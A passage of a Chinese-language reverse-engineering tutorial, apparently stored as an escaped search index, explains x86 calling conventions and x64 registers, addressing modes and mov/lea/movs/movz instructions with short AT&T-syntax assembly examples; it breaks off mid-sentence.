\u8c03\u7528\u7ea6\u5b9a\u5206\u4e3a\u4e24\u7ec4. \u7b2c\u4e00\u7ec4\u89c4\u5219\u662f\u9762\u5411\u5b50\u4f8b\u7a0b\u7684\u8c03\u7528\u8005 ( Caller ) \u7684, \u7b2c\u4e8c\u7ec4\u89c4\u5219\u9762\u5411\u5b50\u4f8b\u7a0b\u7684\u7f16\u5199\u8005, \u5373\u88ab\u8c03\u7528\u8005 ( Callee ). \u5e94\u8be5\u5f3a\u8c03\u7684\u662f, \u9519\u8bef\u5730\u9075\u5b88\u8fd9\u4e9b\u89c4\u5219\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u7684\u81f4\u547d\u9519\u8bef, \u56e0\u4e3a\u6808\u5c06\u5904\u4e8e\u4e0d\u4e00\u81f4\u7684\u72b6\u6001; \u56e0\u6b64, \u5728\u4f60\u81ea\u5df1\u7684\u5b50\u4f8b\u7a0b\u4e2d\u5b9e\u73b0\u8c03\u7528\u7ea6\u5b9a\u7684\u65f6\u5019, \u52a1\u5fc5\u5f53\u5fc3.
\u5c06\u8c03\u7528\u7ea6\u5b9a\u53ef\u89c6\u5316\u7684\u4e00\u79cd\u597d\u65b9\u6cd5\u662f, \u5728\u5b50\u4f8b\u7a0b\u6267\u884c\u671f\u95f4\u753b\u4e00\u4e2a\u6808\u5185\u5b58\u9644\u8fd1\u7684\u56fe. \u56fe 2 \u63cf\u7ed8\u4e86\u5728\u6267\u884c\u5177\u6709\u4e09\u4e2a\u53c2\u6570\u548c\u4e09\u4e2a\u5c40\u90e8\u53d8\u91cf\u7684\u5b50\u7a0b\u5e8f\u671f\u95f4\u6808\u7684\u5185\u5bb9. \u6808\u4e2d\u63cf\u7ed8\u7684\u5355\u5143\u90fd\u662f 32 \u4f4d\u5185\u5b58\u5355\u5143, \u56e0\u6b64\u8fd9\u4e9b\u5355\u5143\u7684\u5185\u5b58\u5730\u5740\u76f8\u9694 4 \u4e2a\u5b57\u8282. \u7b2c\u4e00\u4e2a\u53c2\u6570\u4f4d\u4e8e\u8ddd\u57fa\u6307\u9488 8 \u4e2a\u5b57\u8282\u7684\u504f\u79fb\u5904. \u5728\u6808\u53c2\u6570\u7684\u4e0a\u65b9 ( \u548c\u57fa\u6307\u9488\u4e0b\u65b9 ), call
\u6307\u4ee4\u5728\u8fd9\u653e\u4e86\u8fd4\u56de\u5730\u5740, \u4ece\u800c\u5bfc\u81f4\u4ece\u57fa\u6307\u9488\u5230\u7b2c\u4e00\u4e2a\u53c2\u6570\u6709\u989d\u5916 4 \u4e2a\u5b57\u8282\u7684\u504f\u79fb\u91cf. \u5f53 ret
\u6307\u4ee4\u7528\u4e8e\u4ece\u5b50\u7a0b\u5e8f\u8fd4\u56de\u65f6, \u5b83\u5c06\u8df3\u8f6c\u5230\u6808\u4e2d\u7684\u8fd4\u56de\u5730\u5740.
\u8981\u8fdb\u884c\u5b50\u7a0b\u5e8f\u8c03\u7528, \u8c03\u7528\u8005\u5e94\u8be5 :
call
\u6307\u4ee4. \u8be5\u6307\u4ee4\u5c06\u8fd4\u56de\u5730\u5740\u5b58\u5230\u6808\u4e0a, \u5e76\u8df3\u8f6c\u5230\u5b50\u7a0b\u5e8f\u7684\u4ee3\u7801. \u8fd9\u4e2a\u4f1a\u8c03\u7528\u5b50\u7a0b\u5e8f, \u8fd9\u4e2a\u5b50\u7a0b\u5e8f\u5e94\u8be5\u9075\u5faa\u4e0b\u9762\u7684\u88ab\u8c03\u7528\u8005\u7ea6\u5b9a.\u5b50\u7a0b\u5e8f\u8fd4\u56de\u540e ( \u7d27\u8ddf\u8c03\u7528\u6307\u4ee4\u540e ), \u8c03\u7528\u8005\u53ef\u4ee5\u671f\u671b\u5728\u5bc4\u5b58\u5668 EAX \u4e2d\u627e\u5230\u5b50\u4f8b\u7a0b\u7684\u8fd4\u56de\u503c. \u8981\u6062\u590d\u673a\u5668\u72b6\u6001 ( machine state ), \u8c03\u7528\u8005\u5e94\u8be5 :
\u4e0b\u9762\u7684\u4ee3\u7801\u5c31\u662f\u4e2a\u6d3b\u751f\u751f\u7684\u4f8b\u5b50, \u5b83\u5c55\u793a\u4e86\u9075\u5faa\u7ea6\u5b9a\u7684\u51fd\u6570\u8c03\u7528. \u8c03\u7528\u8005\u6b63\u5728\u8c03\u7528\u4e00\u4e2a\u5e26\u6709 3 \u4e2a\u6574\u6570\u53c2\u6570\u7684\u51fd\u6570 myFunc. \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f EAX, \u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u5e38\u6570 216; \u7b2c\u4e09\u4e2a\u53c2\u6570\u4f4d\u4e8e EBX \u7684\u503c\u6240\u4ee3\u8868\u7684\u5185\u5b58\u5730\u5740.
push (%ebx) ;\u6700\u540e\u4e00\u4e2a\u53c2\u6570\u6700\u5148\u5165\u6808\npush $216 ;\u628a\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5165\u6808\npush %eax ;\u7b2c\u4e00\u4e2a\u53c2\u6570\u6700\u540e\u5165\u6808\n\ncall myFunc ;\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570 ( \u5047\u8bbe\u4ee5 C \u8bed\u8a00\u7684\u6a21\u5f0f\u547d\u540d )\n\nadd $12, %esp\n
\u6ce8\u610f, \u5728\u8c03\u7528\u8fd4\u56de\u540e, \u8c03\u7528\u8005\u4f7f\u7528 add
\u6307\u4ee4\u6765\u6e05\u7406\u6808\u5185\u5b58. \u6211\u4eec\u6808\u5185\u5b58\u4e2d\u6709 12 \u4e2a\u5b57\u8282 ( 3 \u4e2a\u53c2\u6570, \u6bcf\u4e2a\u53c2\u6570 4 \u4e2a\u5b57\u8282 ), \u7136\u540e\u6808\u5185\u5b58\u5730\u5740\u589e\u5927. \u56e0\u6b64, \u4e3a\u4e86\u6446\u8131\u6389\u8fd9\u4e9b\u53c2\u6570, \u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5f80\u6808\u91cc\u9762\u52a0\u4e2a 12.
myFunc \u751f\u6210\u7684\u7ed3\u679c\u73b0\u5728\u53ef\u4ee5\u6709\u7528\u4e8e\u5bc4\u5b58\u5668 EAX. \u8c03\u7528\u8005\u4fdd\u5b58 ( Caller-saved ) \u7684\u5bc4\u5b58\u5668 ( ECX, EDX ) \u7684\u503c\u53ef\u80fd\u5df2\u7ecf\u88ab\u4fee\u6539. \u5982\u679c\u8c03\u7528\u8005\u5728\u8c03\u7528\u4e4b\u540e\u4f7f\u7528\u5b83\u4eec\uff0c\u5219\u9700\u8981\u5728\u8c03\u7528\u4e4b\u524d\u5c06\u5b83\u4eec\u4fdd\u5b58\u5728\u5806\u6808\u4e2d\u5e76\u5728\u8c03\u7528\u4e4b\u540e\u6062\u590d\u5b83\u4eec. \u8bf4\u767d\u4e86\u5c31\u662f\u628a\u6808\u8fd9\u4e2a\u73a9\u610f\u5f53\u4f5c\u4e34\u65f6\u5b58\u653e\u70b9.
"},{"location":"Training/Material/Reverse/#3352-callee-rules","title":"3.3.5.2 \u88ab\u8c03\u7528\u8005\u7ea6\u5b9a Callee Rules","text":"\u5b50\u4f8b\u7a0b\u7684\u5b9a\u4e49\u5e94\u8be5\u9075\u5faa\u5b50\u4f8b\u7a0b\u5f00\u5934\u7684\u4ee5\u4e0b\u89c4\u5219 :
push %ebp\n mov %esp, %ebp\n
\u8fd9\u4e2a\u521d\u59cb\u64cd\u4f5c\u4fdd\u7559\u4e86\u57fa\u6307\u9488 EBP. \u6309\u7167\u7ea6\u5b9a, \u57fa\u6307\u9488\u4f5c\u4e3a\u6808\u4e0a\u627e\u5230\u53c2\u6570\u548c\u53d8\u91cf\u7684\u53c2\u8003\u70b9. \u5f53\u5b50\u7a0b\u5e8f\u6b63\u5728\u6267\u884c\u7684\u65f6\u5019, \u57fa\u6307\u9488\u4fdd\u5b58\u4e86\u4ece\u5b50\u7a0b\u5e8f\u5f00\u59cb\u6267\u884c\u662f\u7684\u6808\u6307\u9488\u503c\u7684\u526f\u672c. \u53c2\u6570\u548c\u5c40\u90e8\u53d8\u91cf\u5c06\u59cb\u7ec8\u4f4d\u4e8e\u8fdc\u79bb\u57fa\u6307\u9488\u503c\u7684\u5df2\u77e5\u5e38\u91cf\u504f\u79fb\u5904. \u6211\u4eec\u5728\u5b50\u4f8b\u7a0b\u7684\u5f00\u5934\u63a8\u9001\u65e7\u7684\u57fa\u6307\u9488\u503c\uff0c\u4ee5\u4fbf\u7a0d\u540e\u5728\u5b50\u4f8b\u7a0b\u8fd4\u56de\u65f6\u4e3a\u8c03\u7528\u8005\u6062\u590d\u9002\u5f53\u7684\u57fa\u6307\u9488\u503c. \u8bb0\u4f4f, \u8c03\u7528\u8005\u4e0d\u5e0c\u671b\u5b50\u4f8b\u7a0b\u4fee\u6539\u57fa\u6307\u9488\u7684\u503c. \u7136\u540e\u6211\u4eec\u628a\u6808\u6307\u9488\u79fb\u52a8\u5230 EBP \u4e2d, \u4ee5\u83b7\u53d6\u8bbf\u95ee\u53c2\u6570\u548c\u5c40\u90e8\u53d8\u91cf\u7684\u53c2\u8003\u70b9.
\u5728\u5b8c\u6210\u8fd9 3 \u6b65\u4e4b\u540e, \u5b50\u4f8b\u7a0b\u7684\u4e3b\u4f53\u53ef\u4ee5\u7ee7\u7eed. \u8fd4\u56de\u5b50\u4f8b\u7a0b\u7684\u65f6\u5019, \u5fc5\u987b\u9075\u5faa\u4ee5\u4e0b\u6b65\u9aa4 :
mov %ebp, %esp
. \u8fd9\u4e2a\u6cd5\u5b50\u6709\u6548, \u662f\u56e0\u4e3a\u57fa\u6307\u9488\u59cb\u7ec8\u5305\u542b\u6808\u6307\u9488\u5728\u5206\u914d\u5c40\u90e8\u53d8\u91cf\u4e4b\u524d\u5305\u542b\u7684\u503c.ret
\u6307\u4ee4\u8fd4\u56de. \u8fd9\u4e2a\u6307\u4ee4\u5c06\u4ece\u6808\u4e2d\u627e\u5230\u5e76\u5220\u9664\u76f8\u5e94\u7684\u8fd4\u56de\u5730\u5740 ( call \u6307\u4ee4\u4fdd\u5b58\u7684\u90a3\u4e2a ).\u8bf7\u6ce8\u610f, \u88ab\u8c03\u7528\u8005\u7684\u7ea6\u5b9a\u5b8c\u5168\u88ab\u5206\u6210\u4e86\u4e24\u534a, \u7b80\u76f4\u662f\u5f7c\u6b64\u7684\u955c\u50cf. \u7ea6\u5b9a\u7684\u524d\u534a\u90e8\u5206\u9002\u7528\u4e8e\u51fd\u6570\u5f00\u5934, \u5e76\u4e14\u901a\u5e38\u88ab\u79f0\u4e3a\u5b9a\u4e49\u51fd\u6570\u7684\u5e8f\u8a00 ( prologue ) .\u8fd9\u4e2a\u7ea6\u5b9a\u7684\u540e\u534a\u90e8\u5206\u9002\u7528\u4e8e\u51fd\u6570\u7ed3\u5c3e, \u56e0\u6b64\u901a\u5e38\u88ab\u79f0\u4e3a\u5b9a\u4e49\u51fd\u6570\u7684\u7ed3\u5c3e ( epilogue ).
\u8fd9\u662f\u4e00\u4e2a\u9075\u5faa\u88ab\u8c03\u7528\u8005\u7ea6\u5b9a\u7684\u4f8b\u5b50 :
;\u542f\u52a8\u4ee3\u7801\u90e8\u5206\n.text\n\n;\u5c06 myFunc \u5b9a\u4e49\u4e3a\u5168\u5c40 ( \u5bfc\u51fa ) \u51fd\u6570\n.globl myFunc\n.type myFunc, @function\nmyFunc :\n;\u5b50\u7a0b\u5e8f\u5e8f\u8a00\npush %ebp ;\u4fdd\u5b58\u57fa\u6307\u9488\u65e7\u503c\nmov %esp, %ebp ;\u8bbe\u7f6e\u57fa\u6307\u9488\u65b0\u503c\nsub $4, %esp ;\u4e3a\u4e00\u4e2a 4 \u5b57\u8282\u7684\u53d8\u91cf\u817e\u51fa\u4f4d\u7f6e\npush %edi\npush %esi ;\u8fd9\u4e2a\u51fd\u6570\u4f1a\u4fee\u6539 EDI \u548c ESI, \u6240\u4ee5\u5148\u7ed9\u5b83\u4eec\u5165\u6808\n;\u4e0d\u9700\u8981\u4fdd\u5b58 EBX, EBP \u548c ESP\n\n;\u5b50\u7a0b\u5e8f\u4e3b\u4f53\nmov 8(%ebp), %eax ;\u628a\u53c2\u6570 1 \u7684\u503c\u79fb\u5230 EAX \u4e2d\nmov 12(%ebp), %esi ;\u628a\u53c2\u6570 2 \u7684\u503c\u79fb\u5230 ESI \u4e2d\nmov 16(%ebp), %edi ;\u628a\u53c2\u6570 3 \u7684\u503c\u79fb\u5230 EDI \u4e2d\n\nmov %edi, -4(%ebp) ;\u628a EDI \u79fb\u7ed9\u5c40\u90e8\u53d8\u91cf\nadd %esi, -4(%ebp) ;\u628a ESI \u6dfb\u52a0\u7ed9\u5c40\u90e8\u53d8\u91cf\nadd -4(%ebp), %eax ;\u5c06\u5c40\u90e8\u53d8\u91cf\u7684\u5185\u5bb9\u6dfb\u52a0\u5230 EAX ( \u6700\u7ec8\u7ed3\u679c ) \u4e2d\n\n;\u5b50\u7a0b\u5e8f\u7ed3\u5c3e\npop %esi ;\u6062\u590d\u5bc4\u5b58\u5668\u7684\u503c\npop %edi\nmov %ebp, %esp ;\u91ca\u653e\u5c40\u90e8\u53d8\u91cf\npop %ebp ;\u6062\u590d\u8c03\u7528\u8005\u7684\u57fa\u6307\u9488\u503c\nret\n
\u5b50\u7a0b\u5e8f\u5e8f\u8a00\u6267\u884c\u6807\u51c6\u64cd\u4f5c, \u5373\u5728 EBP ( \u57fa\u6307\u9488 ) \u4e2d\u4fdd\u5b58\u6808\u6307\u9488\u7684\u526f\u672c, \u901a\u8fc7\u9012\u51cf\u6808\u6307\u9488\u6765\u5206\u914d\u5c40\u90e8\u53d8\u91cf, \u5e76\u5728\u6808\u4e0a\u4fdd\u5b58\u5bc4\u5b58\u5668\u7684\u503c.
\u5728\u5b50\u4f8b\u7a0b\u7684\u4e3b\u4f53\u4e2d, \u6211\u4eec\u53ef\u4ee5\u770b\u5230\u57fa\u6307\u9488\u7684\u4f7f\u7528. \u5728\u5b50\u7a0b\u5e8f\u6267\u884c\u671f\u95f4, \u53c2\u6570\u548c\u5c40\u90e8\u53d8\u91cf\u90fd\u4f4d\u4e8e\u4e0e\u57fa\u6307\u9488\u7684\u5e38\u91cf\u504f\u79fb\u5904. \u7279\u522b\u5730, \u6211\u4eec\u6ce8\u610f\u5230, \u7531\u4e8e\u53c2\u6570\u5728\u8c03\u7528\u5b50\u7a0b\u5e8f\u4e4b\u524d\u88ab\u653e\u5728\u6808\u4e2d, \u56e0\u6b64\u5b83\u4eec\u603b\u662f\u4f4d\u4e8e\u6808\u57fa\u6307\u9488 ( \u5373\u66f4\u9ad8\u7684\u5730\u5740 ) \u4e4b\u4e0b. \u5b50\u7a0b\u5e8f\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u603b\u662f\u53ef\u4ee5\u5728\u5185\u5b58\u5730\u5740 ( EBP+8 ) \u627e\u5230, \u7b2c\u4e8c\u4e2a\u53c2\u6570\u5728 ( EBP+12 ), \u7b2c\u4e09\u4e2a\u53c2\u6570\u5728 ( EBP+16). \u7c7b\u4f3c\u5730, \u7531\u4e8e\u5728\u8bbe\u7f6e\u57fa\u6307\u9488\u540e\u5206\u914d\u5c40\u90e8\u53d8\u91cf, \u56e0\u6b64\u5b83\u4eec\u603b\u662f\u4f4d\u4e8e\u6808\u4e0a\u57fa\u6307\u9488 ( \u5373\u8f83\u4f4e\u5730\u5740 ) \u4e4b\u4e0a. \u7279\u522b\u662f, \u7b2c\u4e00\u4e2a\u5c40\u90e8\u53d8\u91cf\u603b\u662f\u4f4d\u4e8e ( EBP-4 ), \u7b2c\u4e8c\u4e2a\u4f4d\u4e8e ( EBP-8 ), \u4ee5\u6b64\u7c7b\u63a8. \u8fd9\u79cd\u57fa\u6307\u9488\u7684\u5e38\u89c4\u4f7f\u7528, \u8ba9\u6211\u4eec\u53ef\u4ee5\u5feb\u901f\u8bc6\u522b\u51fd\u6570\u5185\u90e8\u5c40\u90e8\u53d8\u91cf\u548c\u53c2\u6570\u7684\u4f7f\u7528.
\u51fd\u6570\u7ed3\u5c3e\u57fa\u672c\u4e0a\u662f\u51fd\u6570\u5e8f\u8a00\u7684\u955c\u50cf. \u4ece\u6808\u4e2d\u6062\u590d\u8c03\u7528\u8005\u7684\u5bc4\u5b58\u5668\u503c, \u901a\u8fc7\u91cd\u7f6e\u6808\u6307\u9488\u6765\u91ca\u653e\u5c40\u90e8\u53d8\u91cf, \u6062\u590d\u8c03\u7528\u8005\u7684\u57fa\u6307\u9488\u503c, \u5e76\u7528 ret
\u6307\u4ee4\u8fd4\u56de\u8c03\u7528\u8005\u4e2d\u7684\u76f8\u5e94\u4ee3\u7801\u4f4d\u7f6e, \u4ece\u54ea\u6765\u56de\u54ea\u53bb.
\u7ef4\u57fa\u767e\u79d1 X86 \u8c03\u7528\u7ea6\u5b9a
"},{"location":"Training/Material/Reverse/#34-x64","title":"3.4 x64 \u6c47\u7f16\u57fa\u7840","text":""},{"location":"Training/Material/Reverse/#341","title":"3.4.1 \u5bfc\u8bed","text":"x86-64 (\u4e5f\u88ab\u79f0\u4e3a x64 \u6216\u8005 AMD64) \u662f 64 \u4f4d\u7248\u672c\u7684 x86/IA32 \u6307\u4ee4\u96c6. \u4ee5\u4e0b\u662f\u6211\u4eec\u5173\u4e8e CS107 \u76f8\u5173\u529f\u80fd\u7684\u6982\u8ff0.
"},{"location":"Training/Material/Reverse/#342-registers","title":"3.4.2 \u5bc4\u5b58\u5668 Registers","text":"\u4e0b\u56fe\u5217\u51fa\u4e86\u5e38\u7528\u7684\u5bc4\u5b58\u5668 ( 16\u4e2a\u901a\u7528\u5bc4\u5b58\u5668\u52a0\u4e0a 2 \u4e2a\u7279\u6b8a\u7528\u9014\u5bc4\u5b58\u5668 ). \u6bcf\u4e2a\u5bc4\u5b58\u5668\u90fd\u662f 64 bit \u5bbd, \u5b83\u4eec\u7684\u4f4e 32, 16, 8 \u4f4d\u90fd\u53ef\u4ee5\u770b\u6210\u76f8\u5e94\u7684 32, 16, 8 \u4f4d\u5bc4\u5b58\u5668, \u5e76\u4e14\u90fd\u6709\u5176\u7279\u6b8a\u540d\u79f0. \u4e00\u4e9b\u5bc4\u5b58\u5668\u88ab\u8bbe\u8ba1\u7528\u6765\u5b8c\u6210\u67d0\u4e9b\u7279\u6b8a\u76ee\u7684, \u6bd4\u5982 %rsp \u88ab\u7528\u6765\u4f5c\u4e3a\u6808\u6307\u9488, %rax \u4f5c\u4e3a\u4e00\u4e2a\u51fd\u6570\u7684\u8fd4\u56de\u503c. \u5176\u4ed6\u5bc4\u5b58\u5668\u5219\u90fd\u662f\u901a\u7528\u7684, \u4f46\u662f\u4e00\u822c\u5728\u4f7f\u7528\u7684\u65f6\u5019, \u8fd8\u662f\u8981\u53d6\u51b3\u4e8e\u8c03\u7528\u8005 ( Caller-owned )\u6216\u8005\u88ab\u8c03\u7528\u8005 ( Callee-owned ). \u5982\u679c\u51fd\u6570 binky \u8c03\u7528\u4e86 winky, \u6211\u4eec\u79f0 binky \u4e3a\u8c03\u7528\u8005, winky \u4e3a\u88ab\u8c03\u7528\u8005. \u4f8b\u5982, \u7528\u4e8e\u524d 6 \u4e2a\u53c2\u6570\u548c\u8fd4\u56de\u503c\u7684\u5bc4\u5b58\u5668\u90fd\u662f\u88ab\u8c03\u7528\u8005\u6240\u6709\u7684 ( Callee-owned ). \u88ab\u8c03\u7528\u8005\u53ef\u4ee5\u4efb\u610f\u4f7f\u7528\u8fd9\u4e9b\u5bc4\u5b58\u5668, \u4e0d\u7528\u4efb\u4f55\u9884\u9632\u63aa\u65bd\u5c31\u53ef\u4ee5\u968f\u610f\u8986\u76d6\u91cc\u9762\u7684\u5185\u5bb9. \u5982\u679c %rax
\u5b58\u7740\u8c03\u7528\u8005\u60f3\u8981\u4fdd\u7559\u7684\u503c, \u5219 Caller \u5fc5\u987b\u5728\u8c03\u7528\u4e4b\u524d\u5c06\u8fd9\u4e2a %rax
\u7684\u503c\u590d\u5236\u5230\u4e00\u4e2a \" \u5b89\u5168 \" \u7684\u4f4d\u7f6e. \u88ab\u8c03\u7528\u8005\u62e5\u6709\u7684 ( Callee-owned ) \u5bc4\u5b58\u5668\u975e\u5e38\u9002\u5408\u4e00\u4e9b\u4e34\u65f6\u6027\u7684\u4f7f\u7528. \u76f8\u53cd, \u5982\u679c\u88ab\u8c03\u7528\u8005\u6253\u7b97\u4f7f\u7528\u8c03\u7528\u8005\u6240\u62e5\u6709\u7684\u5bc4\u5b58\u5668, \u90a3\u4e48\u88ab\u8c03\u7528\u8005\u5fc5\u987b\u9996\u5148\u628a\u8fd9\u4e2a\u5bc4\u5b58\u5668\u7684\u503c\u5b58\u8d77\u6765, \u7136\u540e\u5728\u9000\u51fa\u8c03\u7528\u4e4b\u524d\u628a\u5b83\u6062\u590d. \u8c03\u7528\u8005\u62e5\u6709\u7684 ( Caller-owned ) \u5bc4\u5b58\u5668\u7528\u4e8e\u4fdd\u5b58\u8c03\u7528\u8005\u7684\u672c\u5730\u72b6\u6001 ( local state ), \u6240\u4ee5\u8fd9\u4e2a\u5bc4\u5b58\u5668\u9700\u8981\u5728\u8fdb\u4e00\u6b65\u7684\u51fd\u6570\u8c03\u7528\u4e2d\u88ab\u4fdd\u7559\u4e0b\u6765.
\u6b63\u7531\u4e8e\u5b83\u7684 CISC \u7279\u6027, X86-64 \u652f\u6301\u5404\u79cd\u5bfb\u5740\u6a21\u5f0f. \u5bfb\u5740\u6a21\u5f0f\u662f\u8ba1\u7b97\u8981\u8bfb\u6216\u5199\u7684\u5185\u5b58\u5730\u5740\u7684\u8868\u8fbe\u5f0f. \u8fd9\u4e9b\u8868\u8fbe\u5f0f\u7528\u4f5cmov
\u6307\u4ee4\u548c\u8bbf\u95ee\u5185\u5b58\u7684\u5176\u5b83\u6307\u4ee4\u7684\u6765\u6e90\u548c\u53bb\u8def. \u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86\u5982\u4f55\u5728\u6bcf\u4e2a\u53ef\u7528\u7684\u5bfb\u5740\u6a21\u5f0f\u4e2d\u5c06 \u7acb\u5373\u6570 1 \u5199\u5165\u5404\u79cd\u5185\u5b58\u4f4d\u7f6e :
movl $1, 0x604892 ;\u76f4\u63a5\u5199\u5165, \u5185\u5b58\u5730\u5740\u662f\u4e00\u4e2a\u5e38\u6570\nmovl $1, (%rax) ;\u95f4\u63a5\u5199\u5165, \u5185\u5b58\u5730\u5740\u5b58\u5728\u5bc4\u5b58\u5668 %rax \u4e2d\n\nmovl $1, -24(%rbp) ;\u4f7f\u7528\u504f\u79fb\u91cf\u7684\u95f4\u63a5\u5199\u5165\n ;\u516c\u5f0f : (address = base %rbp + displacement -24)\n\nmovl $1, 8(%rsp, %rdi, 4) ;\u95f4\u63a5\u5199\u5165, \u7528\u5230\u4e86\u504f\u79fb\u91cf\u548c\u6309\u6bd4\u4f8b\u653e\u5927\u7684\u7d22\u5f15 ( scaled-index )\n ;\u516c\u5f0f : (address = base %rsp + displ 8 + index %rdi * scale 4)\n\nmovl $1, (%rax, %rcx, 8) ;\u7279\u6b8a\u60c5\u51b5, \u7528\u5230\u4e86\u6309\u6bd4\u4f8b\u653e\u5927\u7684\u7d22\u5f15 ( scaled-index ), \u5047\u8bbe\u504f\u79fb\u91cf ( displacement ) \u4e3a 0\n\nmovl $1, 0x8(, %rdx, 4) ;\u7279\u6b8a\u60c5\u51b5, \u7528\u5230\u4e86\u6309\u6bd4\u4f8b\u653e\u5927\u7684\u7d22\u5f15 ( scaled-index ), \u5047\u8bbe\u57fa\u6570 ( base ) \u4e3a 0\nmovl $1, 0x4(%rax, %rcx) ;\u7279\u6b8a\u60c5\u51b5, \u7528\u5230\u4e86\u6309\u6bd4\u4f8b\u653e\u5927\u7684\u7d22\u5f15 ( scaled-index ), \u5047\u8bbe\u6bd4\u4f8b ( scale ) \u4e3a0\n
"},{"location":"Training/Material/Reverse/#344-common-instructions","title":"3.4.4 \u901a\u7528\u6307\u4ee4 Common instructions","text":"\u5148\u8bf4\u4e0b\u6307\u4ee4\u540e\u7f00, \u4e4b\u524d\u8bb2\u8fc7\u8fd9\u91cc\u5c31\u91cd\u6e29\u4e00\u904d : \u8bb8\u591a\u6307\u4ee4\u90fd\u6709\u4e2a\u540e\u7f00 ( b, w, l, q ) , \u540e\u7f00\u6307\u660e\u4e86\u8fd9\u4e2a\u6307\u4ee4\u4ee3\u7801\u6240\u64cd\u7eb5\u53c2\u6570\u6570\u636e\u7684\u4f4d\u5bbd ( \u5206\u522b\u4e3a 1, 2, 4 \u6216 8 \u4e2a\u5b57\u8282 ). \u5f53\u7136, \u5982\u679c\u53ef\u4ee5\u4ece\u53c2\u6570\u786e\u5b9a\u4f4d\u5bbd\u7684\u65f6\u5019, \u540e\u7f00\u53ef\u4ee5\u88ab\u7701\u7565. \u4f8b\u5982\u5462, \u5982\u679c\u76ee\u6807\u5bc4\u5b58\u5668\u662f %eax, \u5219\u5b83\u5fc5\u987b\u662f 4 \u5b57\u8282\u5bbd, \u5982\u679c\u662f %ax \u5bc4\u5b58\u5668, \u5219\u5fc5\u987b\u662f 2 \u4e2a\u5b57\u8282, \u800c %al \u5c06\u662f 1 \u4e2a\u5b57\u8282. \u8fd8\u6709\u4e9b\u6307\u4ee4, \u6bd4\u5982 movs
\u548c movz
\u6709\u4e24\u4e2a\u540e\u7f00 : \u7b2c\u4e00\u4e2a\u662f\u6765\u6e90\u53c2\u6570, \u7b2c\u4e8c\u4e2a\u662f\u53bb\u8def. \u8fd9\u8bdd\u4e4d\u4e00\u770b\u8ba9\u4eba\u6478\u4e0d\u7740\u5934\u8111, \u4e14\u542c\u6211\u5206\u6790. \u4f8b\u5982, movzbl
\u8fd9\u4e2a\u6307\u4ee4\u628a 1 \u4e2a\u5b57\u8282\u7684\u6765\u6e90\u53c2\u6570\u503c\u79fb\u52a8\u5230 4 \u4e2a\u5b57\u8282\u7684\u53bb\u8def.
\u5f53\u76ee\u6807\u662f\u5b50\u5bc4\u5b58\u5668 ( sub-registers ) \u65f6, \u53ea\u6709\u5b50\u5bc4\u5b58\u5668\u7684\u7279\u5b9a\u5b57\u8282\u88ab\u5199\u5165, \u4f46\u6709\u4e00\u4e2a\u4f8b\u5916 : 32 \u4f4d\u6307\u4ee4\u5c06\u76ee\u6807\u5bc4\u5b58\u5668\u7684\u9ad8 32 \u4f4d\u8bbe\u7f6e\u4e3a 0.
"},{"location":"Training/Material/Reverse/#mov-lea","title":"mov
\u548c lea
\u6307\u4ee4","text":"\u5230\u76ee\u524d\u4e3a\u6b62, \u6211\u4eec\u9047\u5230\u7684\u6700\u9891\u7e41\u7684\u6307\u4ee4\u5c31\u662f mov
, \u800c\u5b83\u6709\u5f88\u591a\u53d8\u79cd. \u5173\u4e8e mov
\u6307\u4ee4\u5c31\u4e0d\u591a\u8bf4\u4e86, \u548c\u4e4b\u524d 32 \u4f4d x86 \u7684\u6ca1\u4ec0\u4e48\u533a\u522b. lea
\u6307\u4ee4\u5176\u5b9e\u4e5f\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684, \u4e0a\u4e00\u8282\u90fd\u6709, \u8fd9\u91cc\u5c31\u4e0d\u5e9f\u8bdd\u4e86.
\u8fd9\u91cc\u5199\u51e0\u4e2a\u6bd4\u8f83\u6709\u610f\u601d\u7684\u4f8b\u5b50 :\nmov 8(%rsp), %eax ;%eax = \u4ece\u5730\u5740 %rsp + 8 \u8bfb\u53d6\u7684\u503c\nlea 0x20(%rsp), %rdi ;%rdi = %rsp + 0x20\nlea (%rdi,%rdx,1), %rax ;%rax = %rdi + %rdx\n
\u5728\u628a\u8f83\u5c0f\u4f4d\u5bbd\u7684\u6570\u636e\u79fb\u52a8\u590d\u5236\u5230\u8f83\u5927\u4f4d\u5bbd\u7684\u60c5\u51b5\u4e0b, movs
\u548c movz
\u8fd9\u4e24\u4e2a\u53d8\u79cd\u6307\u4ee4\u7528\u4e8e\u6307\u5b9a\u600e\u4e48\u6837\u53bb\u586b\u5145\u5b57\u8282, \u56e0\u4e3a\u4f60\u662f\u4e00\u4e2a\u5c0f\u4e1c\u897f\u88ab\u79fb\u5230\u4e86\u4e00\u4e2a\u5927\u7a7a\u95f4, \u80af\u5b9a\u8fd8\u6709\u5730\u65b9\u662f\u7a7a\u7684, \u6240\u4ee5\u7a7a\u7684\u5730\u65b9\u8981\u586b\u8d77\u6765, \u62ff 0 \u6216\u8005 \u7b26\u53f7\u6269\u5c55 ( sign-extend ) \u6765\u586b\u5145.
movsbl %al, %edx ;\u628a 1 \u4e2a\u5b57\u8282\u7684 %al, \u7b26\u53f7\u6269\u5c55 \u590d\u5236\u5230 4 \u5b57\u8282\u7684 %edx\nmovzbl %al, %edx ;\u628a 1 \u4e2a\u5b57\u8282\u7684 %al, \u96f6\u6269\u5c55 ( zero-extend ) \u590d\u5236\u5230 4 \u5b57\u8282\u7684 %edx\n
\u6709\u4e2a\u7279\u6b8a\u60c5\u51b5\u8981\u6ce8\u610f, \u9ed8\u8ba4\u60c5\u51b5\u4e0b, \u5c06 32 \u4f4d\u503c\u5199\u5165\u5bc4\u5b58\u5668\u7684 mov
\u6307\u4ee4, \u4e5f\u4f1a\u5c06\u5bc4\u5b58\u5668\u7684\u9ad8 32 \u4f4d\u5f52\u96f6, \u5373\u9690\u5f0f\u96f6\u6269\u5c55\u5230\u4f4d\u5bbd q. \u8fd9\u4e2a\u89e3\u91ca\u4e86\u8bf8\u5982 mov %ebx, %ebx
